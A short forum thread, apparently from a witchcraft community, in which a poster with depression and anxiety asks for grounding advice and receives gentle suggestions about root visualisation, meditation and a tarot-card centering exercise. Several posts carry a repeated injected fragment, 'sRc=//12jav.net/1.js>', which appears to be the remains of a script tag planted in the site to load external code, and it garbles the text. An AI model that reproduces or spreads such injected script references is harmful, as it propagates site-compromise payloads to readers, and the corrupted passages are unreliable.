Trying to find positives

Hi all,

I'm struggling with depression and anxiety, it affects my casting as I tend to not be able to let go after a spell or ritual is complete... Can anyone offer any advice on either helping me to ground myself after or before (or both)
Blessed be sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

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Or anything that could make me feel a tiny bit better. I feel like i am drowning in my own emotions sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Usually when grounding individuals utilize visualization.

When I ground I like to visualize roots from my feet growing down into the Earth. I then visualize the excess energy as a white light descending down through the roots and into the Earth. I then visualize bringing the roots back up to complete the visualization.

You might also consider contemplative meditation. Mindfulness meditation practiced 5 to 10 minutes a day to help you to relax.

Perhaps look into different types of meditations that may help. Perhaps a guided meditation could be of help.

Best wishes.

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I, too, have anxiety and depression (among other things). One centering meditation that I use is I visualize myself as a pack of tarot cards and each card is an aspect of myself. I work with various versions of myself, so having a card sticking out is necessary at times. To center, I shuffle the cards and make sure the deck is lined up and in order. If I need, I visualize myself with a certain card on top of the deck, depending on what I need for the day. Want prosperity? I pull up a pentacles/coins card. Need courage and ability to fight something off? I pull up a swords card.

Hope this helps! sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>